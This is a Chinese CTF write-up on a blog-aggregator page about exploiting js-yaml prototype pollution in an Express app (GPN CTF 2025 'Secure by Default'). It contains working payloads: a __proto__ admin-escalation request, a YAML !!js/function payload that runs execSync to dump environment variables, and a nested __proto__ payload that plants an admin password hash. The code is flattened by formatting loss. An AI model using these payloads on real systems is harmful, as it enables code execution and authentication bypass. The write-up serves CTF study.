当前位置: 首页 > news >正文

yaml 导致的原型污染 -- GPN CTF 2025 Secure by Default

part 1

不难注意到,题目有一个危险的中间件,我们可以污染req.body

// 创建Express应用  
let app = express();  
let bodyParser = require('body-parser');  
// 使用body-parser中间件解析text类型的请求体  
app.use(bodyParser.text({ type: 'application/x-yaml' }));  
// 自定义中间件,处理content-type为application/x-yaml的请求  
app.use((req, res, next) => {  if (req.headers['content-type'] === 'application/x-yaml') {  req.body = yaml.load(req.body, {}); // 将YAML格式的请求体解析为JS对象  }  next();  
})
POST /edit-blogs HTTP/1.1
Host: 127.0.0.1:1337
Content-Type: application/x-yaml
Content-Length: 25__proto__:admin: true

此处的unsafe运行我们加载任意函数

username: test
password: test
blogs:my-cool-blog:posts:- content: aelmoslug:match: !!js/function "function() {return 1}"toString: !!js/function "function() {return process.mainModule.require('child_process').execSync('env | grep FLAG').toString() }"

part 2

此处禁止使用自定义函数,这意味着我们不能再直接创建新函数执行任意代码

CMD ["node", "--disallow-code-generation-from-strings", "."]

这下我们只能利用原型污染为管理员增加密码来得到flag了

        // set to both ID and slug for posts without slugsfor (let postId in newPosts) {if (postId === "__proto__") return res.status(400).send("Invalid post slug");let post = newPosts[postId];if (typeof post.content !== "string") return res.status(400).send("Invalid post content");blog[postId] = blog[post.slug] = post.content}}

我们需要找到一个方法给admin一个password

trick:yml本身存在原型污染漏洞

username: "test"
password: "test"
blogs:__proto__: __proto__:posts:password:content: "9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08"__proto__: []

postid仅仅不能是__proto__ 但是可以是password,现在user的原型上将多出一个password

放暑假了,这周末打谷歌。预告一下 下周发谷歌web方向所有的复现

相关文章:

  • 基于51单片机-蜂鸣器演奏《飞雪玉花》
  • 编译原理---文法和语法分析
  • 利用python实现NBA数据可视化
  • SpringBoot 防刷 重复提交问题 重复点击问题 注解 RequestParam RequestBody
  • 《高等数学》(同济大学·第7版)第九章 多元函数微分法及其应用第五节多元函数微分学的几何应用
  • 6.27_JAVA_面试(被抽到了)
  • OpenLayers 渲染之矢量影像图层
  • 10【认识文件系统】
  • 【机器学习深度学习】线性回归(基本模型训练流程)
  • 【BugkuCTF】overflow
  • 为什么python处理csv文件将某个值替换成另一个值并另存后,csv文件的大小减小了一半
  • 视觉疲劳检测如何优化智能驾驶的险情管理
  • 基于STM32设计的扫地机器人
  • 双向循环链表及实现
  • 数学术语之源——(矩阵或行列式的)秩数(rank)
  • 机器学习1——贝叶斯理论上
  • GPU 性能可变性分析框架
  • 60 python asyncio模块(异步IO)
  • CANdela/Diva系列10--CDD文件在CANoe工程的应用2
  • LeetCode 312 戳气球题解(Swift)+ 区间 DP 原理详解 + 可运行代码